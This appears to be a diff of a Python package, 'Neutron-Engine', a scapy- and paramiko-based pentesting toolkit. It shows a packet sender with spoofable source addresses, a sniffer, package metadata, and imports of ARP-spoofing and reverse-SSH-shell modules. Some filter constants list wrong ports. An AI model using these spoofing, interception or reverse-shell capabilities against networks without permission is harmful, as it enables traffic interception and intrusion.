|
|
28
|
+
FILTER_SERVICE_MONGODB_WEB = 'tcp port 28017'
|
|
29
|
+
FILTER_SERVICE_MYSQL = 'tcp port 28017'
|
|
30
|
+
FILTER_SERVICE_COUCHDB = 'tcp port 5984'
|
|
31
|
+
FILTER_SERVICE_INFLUXDB = 'tcp port 8086'
|
|
32
|
+
FILTER_SERVICE_MQTT_SSL = 'tcp port 8883'
|
|
33
|
+
FILTER_SERVICE_GIT = 'tcp port 9418'
|
|
34
|
+
FILTER_SERVICE_BITCOIN = 'tcp port 8883'
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
from scapy.all import send, IP, TCP, UDP, ICMP
|
|
2
|
+
|
|
3
|
+
class SenderNeutron:
|
|
4
|
+
"""
|
|
5
|
+
Packet sender toolkit for crafting and sending custom network packets.
|
|
6
|
+
|
|
7
|
+
This class provides static methods to send TCP, UDP, and ICMP packets
|
|
8
|
+
with spoofable source IP addresses and ports.
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
@staticmethod
|
|
12
|
+
def sender_tcp(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: str = ""):
|
|
13
|
+
"""
|
|
14
|
+
Sends a custom TCP packet.
|
|
15
|
+
|
|
16
|
+
Args:
|
|
17
|
+
src_ip (str): Source IP address (can be spoofed).
|
|
18
|
+
dst_ip (str): Destination IP address.
|
|
19
|
+
src_port (int): Source port number.
|
|
20
|
+
dst_port (int): Destination port number.
|
|
21
|
+
payload (str, optional): Data to send inside the TCP segment. Defaults to empty string.
|
|
22
|
+
|
|
23
|
+
Example:
|
|
24
|
+
>>> SenderNeutron.sender_tcp('1.2.3.4', '93.184.216.34', 12345, 80, 'GET / HTTP/1.1')
|
|
25
|
+
"""
|
|
26
|
+
packet = IP(src=src_ip, dst=dst_ip) / TCP(sport=src_port, dport=dst_port) / payload
|
|
27
|
+
send(packet, verbose=False)
|
|
28
|
+
|
|
29
|
+
@staticmethod
|
|
30
|
+
def sender_udp(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: str = ""):
|
|
31
|
+
"""
|
|
32
|
+
Sends a custom UDP datagram.
|
|
33
|
+
|
|
34
|
+
Args:
|
|
35
|
+
src_ip (str): Source IP address (can be spoofed).
|
|
36
|
+
dst_ip (str): Destination IP address.
|
|
37
|
+
src_port (int): Source port number.
|
|
38
|
+
dst_port (int): Destination port number.
|
|
39
|
+
payload (str, optional): Data to send inside the UDP datagram. Defaults to empty string.
|
|
40
|
+
|
|
41
|
+
Example:
|
|
42
|
+
>>> SenderNeutron.sender_udp('1.2.3.4', '8.8.8.8', 54321, 53, b'\\x00\\x01')
|
|
43
|
+
"""
|
|
44
|
+
packet = IP(src=src_ip, dst=dst_ip) / UDP(sport=src_port, dport=dst_port) / payload
|
|
45
|
+
send(packet, verbose=False)
|
|
46
|
+
|
|
47
|
+
@staticmethod
|
|
48
|
+
def sender_icmp(dst: str, payload: bytes = b''):
|
|
49
|
+
"""
|
|
50
|
+
Sends a custom ICMP Echo Request (ping) packet.
|
|
51
|
+
|
|
52
|
+
Args:
|
|
53
|
+
dst (str): Destination IP address.
|
|
54
|
+
payload (bytes, optional): Custom data to attach to the ICMP packet. Defaults to empty.
|
|
55
|
+
|
|
56
|
+
Example:
|
|
57
|
+
>>> SenderNeutron.sender_icmp('8.8.8.8', b'ping')
|
|
58
|
+
"""
|
|
59
|
+
packet = IP(dst=dst) / ICMP() / payload
|
|
60
|
+
send(packet, verbose=False)
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
from scapy.all import sniff
|
|
2
|
+
|
|
3
|
+
class SniffNeutron:
|
|
4
|
+
"""Packet sniffer with support for BPF filters and custom callbacks.
|
|
5
|
+
|
|
6
|
+
This class provides a simple interface to capture network packets
|
|
7
|
+
using Scapy's sniff() function. It supports interface selection,
|
|
8
|
+
BPF filters, and prints packet summaries by default.
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
@staticmethod
|
|
12
|
+
def start(count: int, iface: str = None, filters: str = None):
|
|
13
|
+
"""
|
|
14
|
+
Captures a specified number of network packets.
|
|
15
|
+
|
|
16
|
+
Args:
|
|
17
|
+
count (int): Number of packets to capture.
|
|
18
|
+
iface (str, optional): Network interface name (e.g., 'eth0', 'wlan0').
|
|
19
|
+
If None, Scapy automatically chooses the default.
|
|
20
|
+
filters (str, optional): BPF filter string (e.g., 'tcp port 80').
|
|
21
|
+
|
|
22
|
+
Returns:
|
|
23
|
+
list: A list of captured Packet objects.
|
|
24
|
+
|
|
25
|
+
Example:
|
|
26
|
+
>>> # Capture 10 HTTP packets
|
|
27
|
+
>>> packets = SniffNeutron.start(10, filters='tcp port 80'
|
|
28
|
+
>>> packets = SniffNeutron.start(5, iface='wlan0')
|
|
29
|
+
"""
|
|
30
|
+
packets = sniff(count=count, iface=iface, filter=filters, prn=SniffNeutron._callback)
|
|
31
|
+
return packets
|
|
32
|
+
|
|
33
|
+
@staticmethod
|
|
34
|
+
def _callback(packet):
|
|
35
|
+
"""
|
|
36
|
+
Internal callback function called for each captured packet.
|
|
37
|
+
|
|
38
|
+
Prints a one-line summary of the packet (e.g., 'Ether / IP / TCP 192.168.1.1:80 > 192.168.1.50:54321').
|
|
39
|
+
|
|
40
|
+
Args:
|
|
41
|
+
packet: A Scapy packet object.
|
|
42
|
+
"""
|
|
43
|
+
print(packet.summary())
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
from .TCPNeutron.TCPClient import TCPClient
|
|
2
|
+
from .TCPNeutron.TCPServer import TCPServer
|
|
3
|
+
from .UDPNeutron.UDPServer import UDPServer
|
|
4
|
+
from .UDPNeutron.UDPClient import UDPClient
|
|
5
|
+
|
|
6
|
+
from .VisionNeutron.SenderNeutron import SenderNeutron
|
|
7
|
+
from .VisionNeutron.SniffNeutron import SniffNeutron
|
|
8
|
+
from .VisionNeutron.ArperNeutron import ArperNeutron
|
|
9
|
+
from .VisionNeutron.FiltersNeutron import FiltersNeutron
|
|
10
|
+
|
|
11
|
+
from .RemoteNeutron.ServerNeutron import SSHServer
|
|
12
|
+
from .RemoteNeutron.ClientNeutron import ssh_command
|
|
13
|
+
from .RemoteNeutron.ClientReverseNeutron import ssh_shell
|
|
14
|
+
|
|
15
|
+
from .IPAddressNeutron.LocalAddressNeutron import LocalAddressNeutron
|
|
16
|
+
from .IPAddressNeutron.PublicAddressNeutron import PublicAddressNeutron
|
|
17
|
+
from .IPAddressNeutron.MetaPublicAddressNeutron import MetaPublicAddressNeutron
|
|
18
|
+
|
|
19
|
+
__all__ = ['TCPClient', 'TCPServer', 'UDPServer', 'UDPClient',
|
|
20
|
+
'SenderNeutron', 'SniffNeutron', 'ArperNeutron', 'FiltersNeutron',
|
|
21
|
+
'SSHServer', 'ssh_command', 'ssh_shell',
|
|
22
|
+
'LocalAddressNeutron', 'PublicAddressNeutron', 'MetaPublicAddressNeutron']
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: Neutron-Engine
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Network toolkit for pentesting: TCP/UDP, sniffer, ARP-spoof, SSH, port scan, IP geolocation.
|
|
5
|
+
Author-email: Alexx-coder <alexx-coder@internet.ru>
|
|
6
|
+
License: Apache-2.0
|
|
7
|
+
Project-URL: Homepage, https://github.com/Alexx-coder/Neutron-Engine
|
|
8
|
+
Project-URL: Repository, https://github.com/Alexx-coder/Neutron-Engine.git
|
|
9
|
+
Project-URL: Issues, https://github.com/Alexx-coder/Neutron-Engine/issues
|
|
10
|
+
Keywords: network,security,pentesting,scanner,sniffer,ssh,arp
|
|
11
|
+
Classifier: Development Status :: 3 - Alpha
|
|
12
|
+
Classifier: Intended Audience :: Developers
|
|
13
|
+
Classifier: License :: OSI Approved :: Apache Software License
|
|
14
|
+
Classifier: Programming Language :: Python :: 3
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: System :: Networking
|
|
22
|
+
Requires-Python: >=3.8
|
|
23
|
+
Description-Content-Type: text/markdown
|
|
24
|
+
License-File: LICENSE
|
|
25
|
+
License-File: NOTICE
|
|
26
|
+
Requires-Dist: scapy>=2.5.0
|
|
27
|
+
Requires-Dist: paramiko>=3.0.0
|
|
28
|
+
Requires-Dist: netifaces>=0.11.0
|
|
29
|
+
Requires-Dist: requests>=2.28.0
|
|
30
|
+
Provides-Extra: dev
|
|
31
|
+
Requires-Dist: pytest>=8.0; extra == "dev"
|
|
32
|
+
Requires-Dist: black>=24.0; extra == "dev"
|
|
33
|
+
Requires-Dist: mypy>=1.10; extra == "dev"
|
|
34
|
+
Requires-Dist: ruff>=0.6.0; extra == "dev"
|
|
35
|
+
Dynamic: license-file
|
|
36
|
+
|
|
37
|
+
# **Neutron Engine**
|
|
38
|
+
[](https://opensource.org/licenses/Apache-2.0)
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
**Neutron Engine** – `network toolkit for pentesting: TCP/UDP, sniffer, ARP-spoof, SSH, port scan, IP geolocation.`
|
|
42
|
+
|
|
43
|
+
> **Developer: `Alexx-coder or alexx (GitHub)`**
|
|
44
|
+
|
|
45
|
+
> **Version: `0.1.0`**
|
|
46
|
+
|
|
47
|
+
> **License: `Apache License 2.0`**
|
|
48
|
+
|
|
49
|
+
> **[Neutron Engine on GitHub](https://github.com/Alexx-coder/Neutron-Engine.git)**
|
|
50
|
+
|
|
51
|
+
> **Install:**
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
pip install Neutron-Engine
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## Acknowledgements
|
|
58
|
+
|
|
59
|
+
**This project uses:**
|
|
60
|
+
|
|
61
|
+
- **[Scapy](https://github.com/secdev/scapy) `(GPL-2.0)`**
|
|
62
|
+
|
|
63
|
+
- **[Paramiko](https://github.com/paramiko/paramiko) `(LGPL-2.1)`**
|
|
64
|
+
|
|
65
|
+
- **[Netifaces](https://github.com/al45tair/netifaces) `(MIT)`**
|
|
66
|
+
|
|
67
|
+
- **[Requests](https://github.com/psf/requests) `(Apache-2.0)`**
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
|
|
72
|
+
# **Modules**
|
|
73
|
+
|
|
74
|
+
- **IPAddressNeutron** – local/public IP, network scanning
|
|
75
|
+
- **RemoteNeutron** – SSH client & server
|
|
76
|
+
- **TCPNeutron** – TCP client/server
|
|
77
|
+
- **UDPNeutron** – UDP client/server
|
|
78
|
+
- **VisionNeutron** – ARP spoofing, packet sniffer and sender
|
|
79
|
+
|
|
80
|
+
|
|
81
|
+
# Example
|
|
82
|
+
|
|
83
|
+
> **The documentation is available in the docstrings**
|
|
84
|
+
|
|
85
|
+
> **If you want to see docstring: need use a help(NeutronEngine) in python**
|
|
86
|
+
|
|
87
|
+
```python
|
|
88
|
+
from NeutronEngine.VisionNeutron import SniffNeutron
|
|
89
|
+
packets = SniffNeutron.start(10, filters='tcp port 80')
|
|
90
|
+
for packet in packets:
|
|
91
|
+
print(packet.summary())
|
|
92
|
+
```
|
|
93
|
+
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
NeutronEngine/__init__.py,sha256=pkqPcAqOW7ajALC-f97xr7RVD4I5lAKtcNTcLYH1TY0,1081
|
|
2
|
+
NeutronEngine/IPAddressNeutron/LocalAddressNeutron.py,sha256=0K0-9CrxYSGugTEMtnR4tX_N8K_XrAg1NyXf9aixPtc,3536
|
|
3
|
+
NeutronEngine/IPAddressNeutron/MetaPublicAddressNeutron.py,sha256=8fXqhtoY4XPNsYSV-fLtM8beNOLYE0dVTuLz1Uxgqfg,1434
|
|
4
|
+
NeutronEngine/IPAddressNeutron/PublicAddressNeutron.py,sha256=hFhrxd4RaD-W4K3DCj4mTNdOrtbGH083VO_CDYT_eRg,981
|
|
5
|
+
NeutronEngine/IPAddressNeutron/__init__.py,sha256=-Nei59em9xTj-z7YxwHva-vroAhfVlxkvxTE84hwFKw,265
|
|
6
|
+
NeutronEngine/RemoteNeutron/ClientNeutron.py,sha256=Xe5WE6t1Bk7WuM0uANWVCUOUC8Sh0-8xpPrBweZOCS4,1186
|
|
7
|
+
NeutronEngine/RemoteNeutron/ClientReverseNeutron.py,sha256=iiH_GKa0y54L-_wle0J8AF6NbcsLa9OgY3P5k5K5ZAQ,1488
|
|
8
|
+
NeutronEngine/RemoteNeutron/ServerNeutron.py,sha256=OthRBW2sHvwNPadZ61iAEQTcdAlIGJUgFYWBcFT8XQs,5616
|
|
9
|
+
NeutronEngine/RemoteNeutron/__init__.py,sha256=rOvGbZN7MH5l20CIY7RKGSAmtsOoCzwluSBUSi4t3HQ,176
|
|
10
|
+
NeutronEngine/TCPNeutron/TCPClient.py,sha256=yJHkRbTOcFi6XIBXdWpX4GUmoEa9wY1gtMXlMgPcdec,1011
|
|
11
|
+
NeutronEngine/TCPNeutron/TCPServer.py,sha256=ZB2gD3DI117PiBco7wQX561Tpw1nPkMqP0p8ON-ozr4,1749
|
|
12
|
+
NeutronEngine/TCPNeutron/__init__.py,sha256=In_lElrLwZG0GYJaMWJaTaXcocwOGCR1UFArbDfrVVw,106
|
|
13
|
+
NeutronEngine/UDPNeutron/UDPClient.py,sha256=o3PhSKi51h1QbF_YNzC8pbCEhpVKHpMws_JipdfPfa8,1221
|
|
14
|
+
NeutronEngine/UDPNeutron/UDPServer.py,sha256=6nMAmSrHToLOk5_jSC8voSKWn_pI4wpD3qAxyb2Hq9M,1542
|
|
15
|
+
NeutronEngine/UDPNeutron/__init__.py,sha256=7-8B3mDDpc_vbdzmMfa0Y-GPzKmaXc7hDFTKd9O7bg8,106
|
|
16
|
+
NeutronEngine/VisionNeutron/ArperNeutron.py,sha256=vlTOluKOCEQJHAArZzV9rjM3UdA_n5v7UOvWT1FRrzk,1141
|
|
17
|
+
NeutronEngine/VisionNeutron/FiltersNeutron.py,sha256=hfANOuqqCvx6ZaYC25_rgZNjzDo1tNz50ja73eLXqf8,1369
|
|
18
|
+
NeutronEngine/VisionNeutron/SenderNeutron.py,sha256=8ixkN-cQ5ysN-b_BXogXc4iEMGMZvcrQ4xEC6GwXk0U,2305
|
|
19
|
+
NeutronEngine/VisionNeutron/SniffNeutron.py,sha256=fbz8MmeKUgvdC59RRKUrRvISnwdkt-ilTxuCMexWlNs,1573
|
|
20
|
+
NeutronEngine/VisionNeutron/__init__.py,sha256=DkwMtLARff_WkjzQpTz1wwAU3b0SfHA_Vx7GDckjDkE,245
|
|
21
|
+
neutron_engine-0.1.0.dist-info/licenses/LICENSE,sha256=friAp9Q77P17-rZ_SJbfG1GgyNC8_7sdYlJw9sJ2yCs,11540
|
|
22
|
+
neutron_engine-0.1.0.dist-info/licenses/NOTICE,sha256=31jaqN6VxLp_ektHFKuyzq9fXtvgh-WKFXaezmtSzWw,1356
|
|
23
|
+
neutron_engine-0.1.0.dist-info/METADATA,sha256=hyNgIB7j3sYlYDa6TE4KNRM9j7tpRMYalrQm5hae62I,2992
|
|
24
|
+
neutron_engine-0.1.0.dist-info/WHEEL,sha256=aeYiig01lYGDzBgS8HxWXOg3uV61G9ijOsup-k9o1sk,91
|
|
25
|
+
neutron_engine-0.1.0.dist-info/top_level.txt,sha256=I32LaUQBUP2dTHjMH0WuAwjBC9lzXDGad_fEkDSdl5c,14
|
|
26
|
+
neutron_engine-0.1.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
Apache License
|
|
2
|
+
Version 2.0, January 2004
|
|
3
|
+
http://www.apache.org/licenses/
|
|
4
|
+
|
|
5
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
6
|
+
|
|
7
|
+
1. Definitions.
|
|
8
|
+
|
|
9
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
10
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
11
|
+
|
|
12
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
13
|
+
the copyright owner that is granting the License.
|
|
14
|
+
|
|
15
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
16
|
+
other entities that control, are controlled by, or are under common
|
|
17
|
+
control with that entity. For the purposes of this definition,
|
|
18
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
19
|
+
direction or management of such entity, whether by contract or
|
|
20
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
21
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
22
|
+
|
|
23
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
24
|
+
exercising permissions granted by this License.
|
|
25
|
+
|
|
26
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
27
|
+
including but not limited to software source code, documentation
|
|
28
|
+
source, and configuration files.
|
|
29
|
+
|
|
30
|
+
"Object" form shall mean any form resulting from mechanical
|
|
31
|
+
transformation or translation of a Source form, including but
|
|
32
|
+
not limited to compiled object code, generated documentation,
|
|
33
|
+
and conversions to other media types.
|
|
34
|
+
|
|
35
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
36
|
+
Object form, made available under the License, as indicated by a
|
|
37
|
+
copyright notice that is included in or attached to the work
|
|
38
|
+
(an example is provided in the Appendix below).
|
|
39
|
+
|
|
40
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
41
|
+
form, that is based on (or derived from) the Work and for which the
|
|
42
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
43
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
44
|
+
of this License, Derivative Works shall not include works that remain
|
|
45
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
46
|
+
the Work and Derivative Works thereof.
|
|
47
|
+
|
|
48
|
+
"Contribution" shall mean any work of authorship, including
|
|
49
|
+
the original version of the Work and any modifications or additions
|
|
50
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
51
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
52
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
53
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
54
|
+
means any form of electronic, verbal, or written communication sent
|
|
55
|
+
to the Licensor or its representatives, including but not limited to
|
|
56
|
+
communication on electronic mailing lists, source code control systems,
|
|
57
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
58
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
59
|
+
excluding communication that is conspicuously marked or otherwise
|
|
60
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
61
|
+
|
|
62
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
63
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
64
|
+
subsequently incorporated within the Work.
|
|
65
|
+
|
|
66
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
67
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
68
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
69
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
70
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
71
|
+
Work and such Derivative Works in Source or Object form.
|
|
72
|
+
|
|
73
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
74
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
75
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
76
|
+
(except as stated in this section) patent license to make, have made,
|
|
77
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
78
|
+
where such license applies only to those patent claims licensable
|
|
79
|
+
by such Contributor that are necessarily infringed by their
|
|
80
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
81
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
82
|
+
institute patent litigation against any entity (including a
|
|
83
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
84
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
85
|
+
or contributory patent infringement, then any patent licenses
|
|
86
|
+
granted to You under this License for that Work shall terminate
|
|
87
|
+
as of the date such litigation is filed.
|
|
88
|
+
|
|
89
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
90
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
91
|
+
modifications, and in Source or Object form, provided that You
|
|
92
|
+
meet the following conditions:
|
|
93
|
+
|
|
94
|
+
(a) You must give any other recipients of the Work or
|
|
95
|
+
Derivative Works a copy of this License; and
|
|
96
|
+
|
|
97
|
+
(b) You must cause any modified files to carry prominent notices
|
|
98
|
+
stating that You changed the files; and
|
|
99
|
+
|
|
100
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
101
|
+
that You distribute, all copyright, patent, trademark, and
|
|
102
|
+
attribution notices from the Source form of the Work,
|
|
103
|
+
excluding those notices that do not pertain to any part of
|
|
104
|
+
the Derivative Works; and
|
|
105
|
+
|
|
106
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
107
|
+
distribution, then any Derivative Works that You distribute must
|
|
108
|
+
include a readable copy of the attribution notices contained
|
|
109
|
+
within such NOTICE file, excluding those notices that do not
|
|
110
|
+
pertain to any part of the Derivative Works, in at least one
|
|
111
|
+
of the following places: within a NOTICE text file distributed
|
|
112
|
+
as part of the Derivative Works; within the Source form or
|
|
113
|
+
documentation, if provided along with the Derivative Works; or,
|
|
114
|
+
within a display generated by the Derivative Works, if and
|
|
115
|
+
wherever such third-party notices normally appear. The contents
|
|
116
|
+
of the NOTICE file are for informational purposes only and
|
|
117
|
+
do not modify the License. You may add Your own attribution
|
|
118
|
+
notices within Derivative Works that You distribute, alongside
|
|
119
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
120
|
+
that such additional attribution notices cannot be construed
|
|
121
|
+
as modifying the License.
|
|
122
|
+
|
|
123
|
+
You may add Your own copyright statement to Your modifications and
|
|
124
|
+
may provide additional or different license terms and conditions
|
|
125
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
126
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
127
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
128
|
+
the conditions stated in this License.
|
|
129
|
+
|
|
130
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
131
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
132
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
133
|
+
this License, without any additional terms or conditions.
|
|
134
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
135
|
+
the terms of any separate license agreement you may have executed
|
|
136
|
+
with Licensor regarding such Contributions.
|
|
137
|
+
|
|
138
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
139
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
140
|
+
except as required for reasonable and customary use in describing the
|
|
141
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
142
|
+
|
|
143
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
144
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
145
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
146
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
147
|
+
implied, including, without limitation, any warranties or conditions
|
|
148
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
149
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
150
|
+
appropriateness of using or redistributing the Work and assume any
|
|
151
|
+
risks associated with Your exercise of permissions under this License.
|
|
152
|
+
|
|
153
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
154
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
155
|
+
unless required by applicable law (such as deliberate and grossly
|
|
156
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
157
|
+
liable to You for damages, including any direct, indirect, special,
|
|
158
|
+
incidental, or consequential damages of any character arising as a
|
|
159
|
+
result of this License or out of the use or inability to use the
|
|
160
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
161
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
162
|
+
other commercial damages or losses), even if such Contributor
|
|
163
|
+
has been advised of the possibility of such damages.
|
|
164
|
+
|
|
165
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
166
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
167
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
168
|
+
or other liability obligations and/or rights consistent with this
|
|
169
|
+
License. However, in accepting such obligations, You may act only
|
|
170
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
171
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
172
|
+
defend, and hold each Contributor harmless for any liability
|
|
173
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
174
|
+
of your accepting any such warranty or additional liability.
|
|
175
|
+
|
|
176
|
+
END OF TERMS AND CONDITIONS
|
|
177
|
+
|
|
178
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
179
|
+
|
|
180
|
+
To apply the Apache License to your work, attach the following
|
|
181
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
182
|
+
replaced with your own identifying information. (Don't include
|
|
183
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
184
|
+
comment syntax for the file format. We also recommend that a
|
|
185
|
+
file or class name and description of purpose be included on the
|
|
186
|
+
same "printed page" as the copyright notice for easier
|
|
187
|
+
identification within third-party archives.
|
|
188
|
+
|
|
189
|
+
Copyright 2026 Alexx-coder
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
Neutron Engine
|
|
2
|
+
Copyright (c) 2026 Alexx-coder
|
|
3
|
+
All rights reserved.
|
|
4
|
+
|
|
5
|
+
This product includes software developed by:
|
|
6
|
+
- Alexx-coder (https://github.com/Alexx-coder)
|
|
7
|
+
|
|
8
|
+
================================================================================
|
|
9
|
+
|
|
10
|
+
Third-party components:
|
|
11
|
+
|
|
12
|
+
1. Scapy
|
|
13
|
+
Copyright (c) 2002-2025 Philippe Biondi and the Scapy community
|
|
14
|
+
Licensed under the GNU General Public License v2.0 (GPL-2.0)
|
|
15
|
+
Source: https://github.com/secdev/scapy
|
|
16
|
+
|
|
17
|
+
2. Paramiko
|
|
18
|
+
Copyright (c) 2003-2024 Jeff Forcier and the Paramiko contributors
|
|
19
|
+
Licensed under the GNU Lesser General Public License v2.1 (LGPL-2.1)
|
|
20
|
+
Source: https://github.com/paramiko/paramiko
|
|
21
|
+
|
|
22
|
+
3. Netifaces
|
|
23
|
+
Copyright (c) 2011-2024 Alastair Houghton
|
|
24
|
+
Licensed under the MIT License
|
|
25
|
+
Source: https://github.com/al45tair/netifaces
|
|
26
|
+
|
|
27
|
+
4. Requests
|
|
28
|
+
Copyright (c) 2019 Kenneth Reitz
|
|
29
|
+
Licensed under the Apache License, Version 2.0
|
|
30
|
+
Source: https://github.com/psf/requests
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
================================================================================
|
|
35
|
+
|
|
36
|
+
Additional notices:
|
|
37
|
+
|
|
38
|
+
- Neutron Engine includes code for network packet manipulation, ARP spoofing,
|
|
39
|
+
port scanning, and socket communication. Use responsibly and only on
|
|
40
|
+
systems you own or have explicit permission to test.
|
|
41
|
+
|
|
42
|
+
- This software is provided "AS IS", without warranty of any kind.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
NeutronEngine
|